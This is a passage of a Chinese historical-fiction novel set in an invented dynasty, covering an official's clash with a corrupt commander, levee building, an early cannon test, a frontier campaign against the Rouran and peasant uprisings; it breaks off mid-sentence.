第二天,晨曦刚刚照进州衙,大门外的登闻鼓便被敲得山响。宋启愚以为有人告状,急忙吩咐升堂。他整理衣冠坐定在公案后,却见沈建平衣甲鲜明,满脸堆笑地从仪门外走了进来。沈建平对后面一摆手,恶狠狠地说:“把他们都押进来。”二十名士兵推搡着十几个反绑双手、满身伤痕的人进了院。沈建平转过头,换上一副笑脸,抱拳高声说:“宋大人,卑职听说你昨夜遇袭,不敢怠慢,即令城防军搜寻歹徒。结果杀死五人,抓获十四人。卑职又连夜审讯,拿到了他们的口供,现将这些歹徒送交大人,请大人发落。” 第十七回7 内争初起 宋启愚起身离开书案。他的心里充满了疑惑。他在想:难道自己判断失误,昨天的行刺事件跟这位沈司马没有关系。宋启愚来到庭前,也一拱手说:“沈大人辛苦。这些是什么人?为何要袭击本官?”沈建平叹了口气,“扑通”一声跪在宋启愚面前,说道:“宋大人,卑职对不起您呀!这些人都是卑职军队里的**,平时习惯了盘剥百姓。您下令不让他们管理治安,断了他们的财路,这些人就怀恨在心,聚集一处与您为难。是末将治军无方、监管不严,请大人治罪。”宋启愚走到这些被捆的军兵面前,问道:“你们都认罪吗?”可这些人除了“呜呜”哼叫外,并不答话。宋启愚又问:“你们领头的是哪一个?”这些人还是“呜呜”乱叫。沈建平在后面说:“回大人,带头闹事的一个叫李八斤,一个叫胡二楞,因拒捕顽抗,已被当场斩杀。”宋启愚接着问道:“那么,你们受何人主使?”可这些人仍不开口说话。宋启愚觉得不对头,再仔细观瞧,眼前的这些人脸腮瘀肿、肌肉抽动,嘴里还在不断地向外淌着鲜血。他掰开其中一人的嘴巴,原来这人已被割掉了舌头。宋启愚一下子明白了。他突然转身,怒视着沈建平,厉声说道:“姓沈的,我原先还不敢确定,现在,你自己跳出来了,袭击本官皆是你所指使。事情败露,你怕这些人把你供出,竟然对这些跟从你多年的军卒下手,你也太歹毒了!”那些被割了舌头的军人原地跳脚,歇斯底里地发出“呜呜”怪叫。被当众戳穿的沈建平既尴尬又恼怒。继而,他满不在乎地从地上站起来,用手拍了拍衣服上的浮土说:“宋大人,这话可不能乱说。没有证据,你怎能诬陷我。再说,我不日就要调任。也许你我不会再见面了。你何必生这么大的气呢?”宋启愚怒发冲冠,用手点指着沈建平说:“这些人虽然违法,但却是我襄阳的兵将,只要善加教导,总有悔悟的一天。可你为了自保,致其伤残。你还杀人灭口,草菅人命。本官岂能与你善罢甘休!”沈建平一脸鄙夷地笑道:“宋大人,别冲动。你现在已经不是我的长官了。没有皇命,你敢动我一下试试?”宋启愚被这个无赖气得怒不可遏,喝令道:“曹可用、宋承康。”曹、宋二人闻声跳了过来。余允文和几位掌事急忙制止说:“宋大人三思。朝廷自有法度在。”宋启愚把火压了压,略一沉吟,吩咐说:“解开这些官兵的绑绳。本官放了他们,任由他们寻仇报复。”然后,他又瞟了一眼沈建平,从牙缝里挤出了两个字:“退堂。” 这下轮到沈建平紧张了,他先是命令带来的二十个军兵保护自己,可却只有两三个人听他的呵斥。当第一个被解开绑绳的兵卒龇牙咧嘴地冲向他时,沈建平大叫一声“妈呀”,撒开两脚落荒而逃,临出门时还被曹可用一脚蹬了个狗啃屎。沈建平仓皇逃回府中后,不敢继续呆在襄阳,当天下午便带着家人匆匆乘船逃往了北方。 之后的一段时间,宋启愚筹集粮款、组织工匠、征集民夫、开山取石,全心全意地修筑石堤。终于在新一年的汛期到来前修成了西起万山,东至夫人城的十里长堤。从此,本地便有了“襄阳青山郭,汉江白铜堤”的说法。后人写歌赞颂道:“襄阳大堤,历史悠长。银灰巨龙,盘亘汉江。胡烈肇造,宣道终创。翠柳拂岸,白帆相望。坚若磐石,固若金汤。抗洪拒浪,百姓屏障。” 第十八回1 支援北燕的战争 北燕因地处燕山以北而得名,东临高句丽,西接柔然,南部与大周接壤,人口稀少,地域狭窄,国力始终较为疲弱。特别是其世宗离世后,内部争斗十分激烈,十余年间数易国主。八年前,北燕章宗继位。这位皇帝开始还摆出了一副求贤若渴、力图振作的样子,但很快,他贪财嗜杀、刚愎揽权的本性便暴露了出来。在他擅杀了多位宗室和大臣之后,北燕无可救药地滑向了覆灭的深渊。而同一时代的柔然却进入了高速发展期。乌利可汗先扩建了首都大青城,又提拔摩柯莫和钦查等人管理经济,还赦免了部分奴隶为平民,并通过对外战争,收服了漠北诸部,逐渐成为了北方最强大的政权。几年前,乌利可汗南侵周朝失败后,更是把目光转向了东方,欲图吞并北燕。他先派大将扎兰丁侵占了北燕西北部的呼伦贝尔地区。接着,他又亲征洮南,兵锋直指北燕都城。在这种情况下,北燕章宗先后两次向大周求救,但均被同泰帝驳回。无奈之下,北燕章宗于同泰五年末再次派出使臣,愿以割地、纳贡、称臣为条件,换取周朝的援兵。 经过深思熟虑,并与宰执、枢密商议后,同泰帝最终决定派出部队援助北燕。 在元月一次朝会上,同泰帝拿出预先准备好的战争檄文,命宰相王克明当庭宣读。王克明站定在御阶前,朗声读道:“北狄柔然牧马放羊之族,茹毛饮血之辈。三十年间,不奉汉廷,不尊中原,蛮横起兵,祸乱天下。今恃武力侵害邻邦,所过之境,人畜财货,抢掠罄尽。其虏入贼中者,剥取衣服,搜刮银钱,继而烙印为奴,其状惨不忍睹……”听着这铿锵有力的字句,文臣们表现得异常亢奋,武将们也是摩拳擦掌,跃跃欲试。读罢了檄文,按照预先安排,殿前军都指挥使赵义廷、侍卫军都指挥使周亮等大将纷纷跪倒,请旨出征;而宰执们也表示愿全力支持皇帝的决定。同泰帝斩钉截铁地说:“朕在继位之初就曾说过,朕虽不及尧舜聪颖,也不如先帝果决,但朕绝不是庸碌之主。方今我大周国库充盈,军力强盛,正应开疆扩土,树皇威于四方,而柔然侵犯我大周在先,欲吞并北燕在后,狼子野心,令人发指。朕本欲亲征,然国内事繁,君王不可轻出,故只能命一皇子率大将数员提兵北上,以抗强敌。诸位皇儿谁愿领兵出征?”皇三子石坚率先跪倒,朗声说道:“主忧臣辱,儿臣虽然愚钝,但愿为君父分忧,为社稷解困。”皇长子石均也赶忙请命说:“父皇坐镇京城,运筹帷幄。儿臣出外作战定能所向披靡,就请父皇将此重任交给儿臣。”皇六子石堃也跪倒请求说:“儿臣虽然年少,但向来喜欢军旅,自获封成王至今寸功未立,愿请旨出征,扬我国威。”皇五子石坦略有迟疑,也勉强跪倒说:“儿子虽然无能,但对皇上的孝心不输诸位兄弟,也愿披坚执锐,效命疆场。”同泰帝十分满意地点点头说:“众皇儿有此勇气,为国征战,朕心甚慰。然皇长子刚领了吏部的差事,且没有军事经验,还是留在京师,跟朕学习理政更为妥帖。皇五子吗,孝心可嘉,只是缺少决断,也不宜贸然派往前线。至于齐王和成王,众卿以为谁更适合担任前敌主帅呢?” 第十八回2 支援北燕的战争 雷思平害怕齐王再立新功,威胁豫王的地位,随眼珠一转,出班行礼说:“启奏陛下。齐王殿下睿智果决,本可胜任。然而,推行茶业的禁榷制度,对我大周财税至关重要。殿下刚刚接手此差,正是攻坚克难的时候,不可分心它顾,还望陛下明察。”王克明等人也纷纷附议。冯体仁正欲反驳,却听同泰帝说:“卿等所奏有理。皇六子石堃确实更适合领军出征。”同泰帝命白晨捧过自己的龙泉剑,抓在手中看了看。而后,他坚毅地站起来,走下御阶,站定在众臣子面前,说道:“堃儿听命。”石堃上前几步,再次跪倒。同泰帝说:“在家是父子,出外为君臣。成王,朕把这龙泉剑交给你,也把这千钧重担托付于你。你要好好历练,谨慎用兵,不可刚愎自专,任性胡为。朕希望你能为我大周开疆扩土,为我皇家争气立威。”石堃向上磕了三个响头,接剑在手,激动地说:“儿臣定当牢记父皇教导,殚精竭虑,勇往直前,不负陛下重托。”同泰帝又转向群臣,说道:“朕特命侍卫军都指挥使周亮为行军总管,殿前军都统治张洪涛为副总管,其余将佐由刘枢密使捡拔配置;调集禁军六万人,同时,征发边军七万,十日后,随成王出征。”刘睿、周亮和张洪涛几人赶忙跪在成王身后领受了皇命。同泰帝回转御座,沉稳地说:“此次用兵非比寻常,既需要将士们疆场用命,也需要内臣们妥善筹谋,还望列位臣工为了我大周的繁荣兴盛,各安值守,尽职听命。”此时,皇子和群臣们无论内心有什么样的想法,全都表现出热血激动的样子,匍匐在地,高声呼喝:“陛下英明!大周威武!” 周朝边境上的武州地处燕山以南、太行以北,扼地理要冲,且三面环山一面临河,战略地位十分重要。席军民自同泰四年五月就任张家口堡的副尉以来,检查战备,积极练兵,加强巡逻,并率军先后在元宝山、野狐岭等地挫败了柔然多支小股部队,斩杀过敌兵几十人,累功已升任后营都尉。 这一日,镇守使马庆明召集属下的重要军官到武州开军事会议。马庆明先向诸将宣读了朝廷征发军队的命令。接着,他又向大家询问各部的兵员和战备情况。轮到席军民时,他成竹在胸,起身说道:“回禀大人。我张家口堡后营应有士兵五百人,实有士兵五百人,其中骑兵二百,弓兵、刀兵、长枪兵各一百,装备精良,训练有素,随时可以出关作战。”马庆明点点头说:“席都尉这二年兵带得不错。你那个营本将去过,可谓军人之典范。那么,你说说这次咱们武州应派多少部队跟从成王殿下北征呢?”席军民略一沉思,说道:“禀大人,我武州西可通大同、雁门,东可达居庸、幽州,南北皆山,战略要地。而在我州驻守的总兵力不过万余,能作战的精锐只有七千,守卫武州城、张家口堡、长城沿线、八角台前哨、元宝山前哨等地,巡视张北、野狐岭等防区已捉襟见肘,若再调走大量部队,恐怕对武州的防御会有影响。末将以为征发一千人随朝廷出征最为妥帖,请大人明鉴。”马庆明未置可否,只是示意席军民坐下,又去征询其他人的意见。最后,马庆明直接宣布散帐,起身离开了议事厅。 第十八回3 支援北燕的战争 回到后宅,马庆明和自己的两个儿子商量道:“刚才的军事会议你们也参加了。那席军民说的不错,咱们武州确实只有一万多兵马,但咱的名册上可是有近三万人啊。如果为父派出的军队太少,不但立不了功,还可能让别人弹劾我吃空额。可我又派不出那么多部队。你们说爹该咋办?”他的长子粗声大气地说:“爹,你派咱家的三千亲军去不就得了吗,打仗卖力,还听咱的话。”马庆明一瞪眼睛说:“你这败家子,爹这一辈子就这点家底。我可豁不出去。要是打光了,咱爷们以后咋办?”二儿子马健东抚着脑门,说道:“爹,不如这样,你从亲军里调五百人给我,再把席军民统领的营和另外一个城防营调给我,给儿子凑够一千五百人,保证我们的战斗力。我领着他们往幽州集结。到时候,儿子再想办法与成王殿下以及其他统帅拉拉关系。若碰上硬仗,我就往后面躲一躲;若打了胜仗,我再往前多冲一冲,保证不耽误咱爷们立功。那席军民不是能打吗,咱既提拔拉拢了他,又培植了自己的势力,一举两得。您看咋样?”马庆明一拍大腿说:“嗯,还是老二有主意呀!为父这就下军令。儿啊,咱亲军里面的人你可以随便挑。” 第三天傍晚,余允文拿着席军民即将出征的信卷来找宋启愚。宋启愚阅后立即叫来曹可用、吴襄等人商议如何回复。吴襄说:“宣道,你放心,国栋做事还是很谨慎的,跟随大军出征应该不会有什么闪失。他说半个月后出兵,我们应激励他奋勇杀敌,多立战功才对。”余允文也说可以这么回信。宋启愚笑眯眯地看着他们,又看了看曹可用,问道:“好兄弟,你也是这样说吗?”曹可用有些发懵,直爽地说:“我没他俩聪明。宣道又拿我开心。你有啥想法,快告诉我们。”宋启愚笑着说:“你还记不记得当年我们去柔然贩卖货物都是几月?”曹可用答道:“咱们不都是八九月份去,元月之前回吗。”宋启愚又问:“那,其它时候为什么不去呢?”曹可用有些张口结舌。宋启愚说:“柔然人逐水草而居,到了秋天,喂了一年的牲畜非常健壮,是谓‘秋高马肥’。此时,地理环境也相对稳定,适合贸易,也适合用兵。所以,柔然人历次南侵皆是在秋冬季节。而到了三月份,冰河开化,很多草场就会变成沼泽,道路也会泥泞难行,根本无法行军打仗。故而,柔然人一般都会在三月之前退回驻地。此次,虽然柔然人发动了战争,但以柔然的实力,还不足以一次就消灭北燕。再加上我大周已然出动援军,所以,我认为柔然很可能会在春季退兵。”曹可用眼睛一亮,顿悟道:“宣道的意思是,柔然大军即将退去,这仗不打就赢了!”宋启愚笑着点点头,端起茶碗呷了一口。吴襄说:“那么,应该恭喜国栋又立战功了。”宋启愚摇摇头说:“朝廷大军从集结到进兵至少还要一个月的时间。国家花了这么大的代价却没有打击到柔然主力,我有些不甘心。”宋启愚咬了咬嘴唇,接着说:“余先生,你回信时,写明我的分析。建议国栋领着少量骑兵,带上向导,带足干粮,直接从武州北上,翻过燕山再向东一路偷袭、夜袭,只打柔然的辎重部队和小股游兵。这样做虽然歼敌不多,但影响甚大,且本方伤亡较小。具体怎样做,请国栋慎重考虑。”吴襄等人听后,发自内心地佩服宋启愚的敏锐。余允文高兴地说:“好,我这就写信。今天就用鸽子把消息传给国栋。” 第十八回4 支援北燕的战争 晚上,宋启愚检查完儿子的功课回到房中。韩丽华活泼地跑过来,双手搂住丈夫的脖子,娇羞地说:“老爷,我有好消息要跟你说。”宋启愚看她可爱,顺势抱住韩丽华亲了一口,又把她举到空中,问道:“你个鬼丫头,搞什么名堂?”韩丽华拍打着宋启愚说:“老爷快放我下来,快放我下来。我,我有喜了。”宋启愚赶忙把韩丽华扶到床边坐下,兴奋地说:“什么时候的事?请郎中了吗?有啥感觉吗?”韩丽华爱怜地抚着丈夫的头,低声说:“今天晌午才请郎中号的脉。说是有两个月了。”宋启愚轻轻摸着韩丽华的肚子,说道:“以后你啥也不用做,就在府里安心养胎,千万别累着。我叫余家嫂子她们多过来陪陪你,要是闷了,我就叫曹可用带着你们出去散散心。大伙要是知道了,肯定都会替我们高兴的……” 扬王石坦自得到童道生的点拨,果然做了不少荒唐事。当别的兄弟都在争抢权力时,他却排练了许多木偶剧,并时常进宫表演给帝后妃嫔们看。同泰帝虽然觉得这个儿子不太争气,但也没有特别责怪,只当他是小孩子,不懂事。成王挂帅后,石坦还去给石堃道贺,并亲自表演节目预祝六弟凯旋。石堃觉得石坦绵软好欺,便在私下里开玩笑,管他唤做“绵羊王爷”。 “绵羊王爷”近几日,确实勤快,但忙的却不是政事,而是为自己十九岁大寿筹备庆典。他还到处宣扬有神仙指点自己,只要过好了十九大寿,便能活到九十岁,且天下太平,父母康健。他又进宫央求太后和母妃驾临扬王府为他庆生。同泰帝听闻此事又好气又好笑,但碍于太后疼爱孙子,竟默许了石坦胡闹。结果,扬王头两天宴请了王公大臣,第三天招待了绅商巨贾,第四第五第六天还一拨一拨地邀请各色人等吃饭喝酒,甚至一些和尚、乞丐都成了他的座上客。最后,他还煞有介事地祭奠了一下九十岁的自己,把半个开封城折腾得鸡飞狗跳,直闹了十天才算完事。 在襄阳,打开春起,知州宋启愚便没了一日安闲。他既要坐堂审案、处理政务,又要组织人员修堤护堤,还要查看各个乡村的农事,并关注商旅经营、航路开通,甚至还要参与警巡队的建设和城防军的改造,可以说日理万机,非常劳累。 这一天,宋启愚来到贾洲村视察灾民的安置情况。他刚到村口,就被乡民认出来了。百姓们奔走呼号:“宋青天来了!大伙快出来呀!宋大人来看咱们啦!”不多时,在宋启愚身边就聚集了几百号乡民。宋启愚先走进两户人家,看了看人们的生活条件,又向大伙询问了目前的生产状况。不少人跪下,流着泪说:“俺们这些在洪灾中逃难的人,要是没有宋青天收留,早就冻死、饿死了!”还有人说:“官府派人帮我们建了房,划了地,又给我们分了种粮、口粮,日子比在丹阳时还好过咧。”宋启愚到田里和坡上视察完,要离开村子的时候,几百村民依依不舍地跟在后面,把他送出了好远,好远。宋启愚感慨地对手下人说:“咱们大周的百姓真是良善啊!我们只为他们做了一丁点小事,他们却会报答我们一辈子。反过来说,只要我们能给百姓创造一个安定的环境,不出幺蛾子,民间的活力就会被激发,并源源不断地释放出来。你们以后无论到什么地方主政,都要记住我的话,只做实心事,不搞花架子。” 第十八回5 支援北燕的战争 其后,宋启愚策马向北,来到檀溪边。他指着远处正在悠悠转动的十几架大型水车,对身后的余天锡说:“天锡,我看这处工坊的规模比汴梁和洛阳的还大呢!看来邝先生没少下功夫啊。”余天锡乐呵呵地说:“我家岳丈说以前的工坊是为朝廷建的,而这家是为大人建的,当然要格外用心。另外,我家岳丈还想在您有空的时候,向大人展示一下那个‘炮’的威力。”宋启愚突然勒住了战马,说道:“对呀,这一年多真是太忙了,竟把这档事给忘了。走,咱们这就去见邝先生,看看咱襄阳的工坊,再聊聊那门炮。” 两天后,余天锡和邝玄带着五十名警巡,拉着两门铁炮,开进了万山。在一片山谷中,宋启愚和吴襄正在等着他们。邝先生在准备好了炮架、火药和场地后,乐呵呵地走过来说:“大人给我的那个铁桶还真是个宝贝。开始我是用竹筒或者木筒做实验,但是太容易炸裂,我就改用铜管,可试过几次之后,铜管就变了形。然后,我又用铁管做,但生铁太脆了,我险些被炸伤。最后,我发现那个铁桶由于经常被煅烧,其材质比生铁柔韧,坚固性也好。我这才找铁匠用熟铁锻造出了这两个家伙,经过多次尝试,威力确实不小。”吴襄说:“我们领教过它的利害。当年,宣道大人都差点被这东西打伤。”宋启愚笑着说:“所以我才叫顾新恩他们把马拉到山外面,以免受惊吓,又派警巡清理了周边,防止伤到人。”宋启愚又问:“邝先生,这两门炮能打多远?有多重?”邝玄一捋胡须说:“这炮每门重二百多斤,撑在炮架上,充填火药,搭上引火绳,装进石蛋或铁球,点火击发,可打到一二百丈以外。”这时,余天锡跑过来,单腿打了个千说:“禀报大人,炮已架设完毕,听候大人命令。”宋启愚转向邝玄说:“邝先生,有劳了。”邝玄点点头,带着余天锡大步向那两门炮走去。 随着两声巨响,两条火线从炮口喷出,仅一瞬间,便在远处炸开,崩起无数碎石,击落大片草木。警巡们一个个手指着前方,兴奋地拍手跳跃。宋启愚也欢喜地对吴襄说:“乖乖,这威力是够吓人的。”吴襄嬉笑着说:“要是当年咱们有这玩意儿,咱完全可以跟柔然人硬扛呀。”接着,余天锡又带着警巡们放了五六炮。见邝玄和余天锡收拾家伙,正走过来,吴襄喊道:“邝先生,你们咋回来了,再整几炮呗。”邝玄笑着说:“长白,你想炸死我呀!这炮的毛病就是不能连发。你要是现在往里装火药,它一准炸膛。我前面用铜管试的时候,就被熏了个满脸黑。这可不是闹着玩的。”宋启愚关切地说:“邝先生,做危险的事情一定要小心,千万不能伤了自己。令嫒刚给你生了个外孙,还有许多好日子要过呢!”吴襄又问道:“那这炮什么时候才能再装药发射呀?”邝玄边走边说:“怎么着也得等一会儿。得炮身不烫手才行。” 第十八回6 支援北燕的战争 宋启愚想了想说:“战马在奔跑时,百丈距离转瞬即到。看来想把新东西运用到实战中,还有很长的路要走。不过,邝先生不用着急,慢慢改进,总能成功的。”宋启愚又转向余天锡说:“我认为在今后的战争中,炮一定能发挥决定性的作用。所以……天锡啊,我交给你一项任务——从警巡队里挑选出一百人,由你率领专门训练运炮、架炮、发炮,你要把这支队伍训练熟。炮队的所有开支均由我个人承担。”余天锡非常高兴,跪地磕头说:“宣道叔放心,我一定完成这项任务。”吴襄在旁边开玩笑说:“呵,天锡升官了,历朝历代都没有的炮队队长。”宋启愚浅笑了一下,对吴襄说:“你长白创建了警巡队,也是青史第一人啊!”吴襄不好意思地挠了挠头说:“真想不到,我一个粗人,也能有这样的际遇。”宋启愚又说:“长白不必自谦,你的心思有时比我还细呢,没有你们几个帮忙,我恐怕什么也干不成。现在,我也交给你一个任务,就是把警巡队扩充到八百人。今后,除了城内治安,周边村镇的日间巡逻也由你负责。”吴襄郑重地一抱拳,说了声遵命。此时,邝玄觉得炮管已经冷却,便招呼余天锡再次走向铁炮,装药填弹,又轰隆隆地放了几炮,也是威力惊人。 在回去的路上,宋启愚问起了城防军的情况。顾新恩说:“自上次大人饶恕了那些被割舌的弟兄,又给他们谋了差事,让他们自食其力,城防军便对大人感恩至深,而对沈建平恨之入骨。有很多士兵还出首状告沈建平,尤其是那个叫丁陆的副尉。”宋启愚沉静地说:“这个丁陆跟了沈建平四年,很清楚他的为人。在我遇袭当晚,他预感到沈建平要害人自保,就借口查凶,带了十几个城防兵躲到岘山去了。要不然,他们也得遭毒手。后来,他听说沈建平跑了,就带着那些手下到州衙请罪。我没有罚他们,只是让他们好好反思,认真整训,以后善待襄阳的百姓。”顾新恩恍然大悟说:“原来是这样,怪不得城防军这么配合。这次对着名单一查,我们才知道,所谓的五千城防军实际上还不到两千人。这下,后面再来的城防军司马可就没有空额吃了。” 北方的战事果然如宋启愚所料,周军还在幽州集结时,乌利可汗就下达了撤军令。而那些被打怕了的北燕将士,直到柔然人走远才反应过来。他们开始战战兢兢地组织反击。但很快,北燕的追兵就被断后的柔然骑兵打了个落花流水。从此,北燕的将领们再也不敢贸然出击,只会龟缩在城池里,固守待援。 周朝方面,成王石堃直到三月初才将部队集结完毕。这位少年王爷虽然也读过几本兵书,但除了吹牛外,似乎可以说对军事一窍不通,且从未经历过实战,若不是周亮等大将筹划调度,恐怕再耽误旬月也出不了关。 第十八回7 支援北燕的战争 反倒是武州的小小都尉席军民在贿赂了马健东之后,于半个多月前,率二百骑兵悄悄进入了草原。 为了躲过边境的敌人,席军民先向西北运动,绕了一天道,才向东北进发,他还远远地放出哨探,以期先人一步发现敌军。到了第二天中午,前方的两名哨探飞马奔回。他们喘着大气,又紧张又兴奋地说:“大人,前面十几里有一支押送人畜辎重的队伍,首尾足有半里长。”席军民止住人马,问道:“作战部队有多少?”一个哨探说:“不超过三十人。其他都是拴着手的奴隶,还有百十头牛、骆驼和几十辆拉货的大车。”另一个哨探补充道:“他们正在烧火,估计是要煮茶,煮奶,用些饭食。”席军民略略思索后,把二十几个哨长五长叫到跟前,就地用石头简单摆出了敌我分布图,说道:“弟兄们,这是我们出关以来打的第一仗,一定要全歼敌人,打出咱的威风来。我也知道有些弟兄没打过仗。不过,眼前的押运队战斗力不强,人数又少。告诉弟兄们不要怕,跟着我猛力往上冲,一举干掉他们。”有几个军官摩拳擦掌地说:“大人放心,训练了这么长时间,咱不怕打仗。你就下令好了。”席军民马上命令道:“毛奇,赵横,你们领着五十个弟兄从这边兜个大圈绕到他们后面去。我们这里发动攻击后,若有敌人想逃跑,你们就消灭他们。”两个十七八岁的棒小伙铿锵有力地回答说:“遵命。”席军民又说:“许青,你领三十个人向左边进攻。云辉领三十个人向右边进攻。李浩带着五十人在这里待命,做预备队。剩下的人跟着我从中路突击。所有人以我的长哨为号,听到哨音开始攻击。毛奇,你们先行出发,去吧。”众人各自领命,带着部队撒开了口袋。 约莫过了小半个时辰,席军民抽刀在手,吹响了长哨。顷刻间,周军排在正面的一百骑兵挥舞着马刀,呐喊着冲向了敌兵。柔然人万万想不到在草原和沙漠腹地竟会遭受攻击。这种缺乏战斗经验的辎重部队,一下子就被冲垮了。他们扔了车辆,撇下十几具尸体,仓皇北逃。可迎面却撞上了已经包抄到位的周军。其中为首一人跨骑枣红马,散发披肩,脸上罩着恶鬼面具,煞是吓人。此人手执长刀,纵马砍杀,仅一个冲击便劈死了三个柔然兵。他又旋马斜杀,不多时就将敌人全数消灭。席军民率兵追到跟前,大笑着说:“哈哈,好个毛奇!真是一员虎将呀!”毛奇摘下面具,兴奋地说:“跟着大人打仗真痛快。”席军民对左边喊道:“许青,看看敌人还有没有喘气的,再打扫一下战场。”他又对右边喊道:“云辉,去检查一下车上装的什么,再把那些绑着的人放开,我要问问情况。”众将士答应着各自去办差。 第十八回8 支援北燕的战争 不大的功夫,百十名奴隶恢复了自由。席军民上前一瞧,发现这些人里妇女居多,还有十几个半大孩子,仅有七八个成年男人。这些人见了席军民,马上跪伏在地,哭着称谢。席军民走到几个男人跟前,问道:“你们谁会说中原的话?”有三个男人向前挪了挪示意能交流。席军民继续问:“你们从哪儿来?怎么被抓的?”一个男子给席军民磕了个头,说:“将军,我们是北燕人,家住潮河边,接近燕周边境。柔然人打来后,屠了不少村镇,杀了很多人。我们是叶户车路会虏来的奴隶。”另一个男人补充道:“他们把壮实的男人都杀了,只留下女人和我们这种手艺人。象我们这样的囚队还有很多。”席军民又问道:“你们经过哪些地方知道吗?”一个男人回道:“我们一直被押着顺河走,先是走的滦河,又走大榆河,后面就不清楚了。”席军民又问明了一些其它情况,最后对他们说:“听你们刚才的意思,是愿意归附我大周。但我们是作战部队,不能护送你们南下。好在此处离张家口堡不算远,离元宝山前哨更近。这样吧,我给你们开路条。你们押着这些货车,把我们受伤的三个弟兄护送回去,今后就做我大周的子民吧。”这些北燕人知道自己有了出路,一个个喜极而泣,跪在地上不住地磕头。 这时,吴云辉过来在席军民耳边小声说:“大人,咱们发财了。后面车上有两箱金珠宝贝。从那些死的柔然兵身上也搜出了不少金银嘞。”席军民乐呵呵地说:“那还等什么,全都拿出来给大伙分分。记着,给受伤的三个弟兄多分一些,让他们回去好好养伤。”云辉和站在近旁的士兵听后一阵欢呼。他们招唤着同伴兴冲冲地分财宝去了。 待送走这些北燕俘虏,清理完战场,席军民把队伍集合到一处,冲着大伙朗声问道:“弟兄们,今天打仗过瘾吗?”二百兵士高声回答:“漂亮,过瘾。没打过这么痛快的仗。”席军民笑着说:“弟兄们还发财了吧。这次,每个人至少分了五十两银子吧,这可够买十亩好田啦!”大伙乐呵呵地互相看着,推搡着。席军民接着说:“咱们以后就这么干。我保证你们战后人人都变成大财主。”众兵士跪下喊道:“愿听席都尉命令。愿意跟着席都尉干。”席军民让士兵们起来,继续说道:“在出发之前,咱们已经宣讲过军纪。现在,我要再强调几点。第一,在战场上必须听令。第二,奋勇杀敌者赏,临阵退缩者杀。这第三吗,就是严禁奸淫掳掠,杀良冒功。有违反以上三条者,定斩不饶。你们都记下了?”众将士再一次高呼遵令。 就这样,席军民带着部队出关后,大大小小打了三十几仗,斩杀柔然兵一千多人,极大地扰乱了柔然人的退兵部署和后方秩序。 转眼已是四月,到达前线的石堃听说敌人已经远遁,内心未免有些失落。但众将却纷纷拍马屁说此次得胜全赖成王指挥若定、威名远扬,再加上马健东等人夸大了本方突袭作战的效果,尤其是在成功接收了北燕割地檀州后,这位少年王爷竟真的认为自己才能卓越,甚至常以魏武自居。 捷报传入汴梁,同泰帝非常高兴。他立即下旨升赏全军将士。石堃享受了双亲王待遇;周亮升任为枢密副使;张洪涛当了幽州节度使;而立功最大的席军民则仅仅升了一级,回张家口堡给荣任镇守使的马健东当了副手。 第十九回1 烽烟乍起 自同泰五年十月开始,丹阳、邓州、谷城一带便闹起了匪患。官府起初还能用衙役和城防军弹压地面,可随着冬季的到来,这些地区盗寇的数量越剿越多。至同泰六年三月青黄不接的时候,土匪已经形成了规模,竟然大白天就敢于在官军的眼皮子底下聚众抢劫、甚至占领乡镇。其实啊,这些所谓的土匪就是些衣食无着的百姓。去年的洪水冲垮了丹阳大堤,光淹死的人就有五六万之多,同时造成几十万人无家可归。朝廷的赈济本就不足,又被一些无良官吏克扣侵吞,结果,饥饿和瘟疫又夺走了几万贫民的性命。到了年底,地方官员为了政绩,竟不顾百姓死活,催逼农民偿还借款。百姓们卖儿卖女还是还不上皇账。而原本的富户,也因给贫困户做担保,纷纷破产。一些年轻人为了活路铤而走险,“杀恶吏、抗皇粮”成了起事者的口号。丹阳地区的暴动者逐渐形成了五股比较大的势力,一是盘踞在姚山的杨安部,二是占据石鼓镇的卢幺部,三是流窜在湍河一带的伊涛部,四是聚集在丹江口的水贼甘老大部,五是活动在谷城北部洪山和汉江之间的钟成部。 起事队伍的壮大引起了朝廷的不安。同泰帝给河南巡抚白铭肇下了旨意,命其快速平灭贼寇,同时,令丹阳周边地区巩固城防,协助剿抚。白铭肇本是程熹的学生,为官十几年,清廉自守,政绩斐然,很受百姓爱戴。他接到皇命不敢怠慢,急忙征调省内的五千余城防军随自己南下。由于担心自己缺乏作战经验,疏于调度,他还起用了几十位属官,以期周密筹划,尽快剿贼。在这些属官中,就有他的同门师兄弟,洛阳同知绳鑫和渑池知县林九都。 官军于三月底进驻了南阳府。白铭肇决定采用先剿后抚的方针,即先用武力消灭湍河一带的伊涛部,震慑作乱者;然后再用安抚的方式平定其他各部。为此,他派出大量哨探对湍河的情况进行了侦查,并和诸将反复推演了作战过程。最终,在一个夜黑风高的晚上,白铭肇以两千城防军为主力,偷袭了贼兵控制的十林镇,一举斩杀匪首伊涛,并毙伤流寇两千余人。这之后,白铭肇率军进入了丹阳城。他出榜安民,又制定了匪寇回乡的优待条件,还命人拿着自己的亲笔信前往各处招抚贼兵。 做为程熹的学生,林九都是出仕较晚的一个。他跟白铭肇其实是同学,可却屡试不第,直到同泰四年加开恩科,才被取中,当时,他已经四十多岁了。但这个人自视甚高,经常把自己比作颜回。看着昔日的同窗已是一方大员,从前的学弟在官位上也远超自己,林九都的心里很不是滋味。他想在此次南征中多立功劳,博得朝廷的赏识和提拔。为此,他主动请缨,愿率五百城防军往石鼓镇,招安卢幺部。 第十九回2 烽烟乍起 原本参与暴动的农民,既没有坚定的信念支撑,又没有经过系统的军事训练。他们听说官军消灭了伊涛,早就惶惶不可终日,现又见大批官军到来,更是魂飞胆丧。很多人乘夜离开卢幺的队伍,偷偷逃走了。当卢幺收到白铭肇和林九都的招降书时,他只犹豫了几天,便决定率部投降。 清晨,卢幺自缚双手,带着手下的十八个头目往林九都大营请降。林九都表现得非常豪爽。他亲自给卢幺松绑,又说了一番抚慰的话,还手牵手领着众人进大帐宴饮。至中午,林九都命两名城防军副尉带着二百军兵进驻石鼓镇,解除农民军的武装。他还拨发了一笔军饷,招待降卒吃肉喝酒。是夜,卢幺和他的手下一个个喝得酩酊大醉。林九都回到帅帐,叫过几名军官,低声问道:“投降的贼兵有多少?现在情况如何?”一名副尉凑近了回答:“大人,贼兵有一千六百多人。现都安置在镇西边的沟地里,这些贼寇多数喝高了,睡得跟死猪一样。”林九都又问:“兵器都收缴了吗?”另一名副尉凑前一步说:“大人放心,他们身上现在连个铁片都没有。”林九都咬着牙说:“君君臣臣父父子子,这些贼寇犯上作乱,对抗官府,个个该杀。招降他们,纯属多余。只是,才剿灭了一两千土匪,功劳未免小了些!”身旁的军官赶忙说:“大人,这石鼓镇周边的居民可以说个个通匪,杀了他们一点也不冤枉。”林九都又想了想说:“那好